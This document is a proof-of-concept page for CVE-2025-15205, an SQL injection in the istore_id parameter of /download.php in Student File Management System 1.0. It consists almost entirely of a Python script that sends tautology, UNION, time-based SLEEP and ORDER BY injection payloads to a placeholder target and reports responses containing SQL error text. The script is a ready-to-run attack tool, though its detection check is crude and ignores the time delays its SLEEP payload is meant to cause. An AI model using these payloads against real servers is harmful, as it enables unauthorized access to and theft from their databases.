CVE-2025-15205: Student File Management System 1.0 /download.php SQL注入漏洞

import requests # CVE-2025-15205 SQL Injection PoC # Target: Student File Management System 1.0 # Endpoint: /download.php?istore_id=<payload> target_url = "http://target-server/download.php" # Basic SQL injection payloads for testing payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND SLEEP(5)--", "1' ORDER BY 1--", ] def test_sqli(url, param="istore_id"): """Test for SQL injection vulnerability""" for payload in payloads: params = {param: payload} try: response = requests.get(url, params=params, timeout=10) # Check for SQL error messages or time delays if "SQL" in response.text or "error" in response.text.lower(): print(f"[+] Potential SQLi found with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Usage example test_sqli(target_url)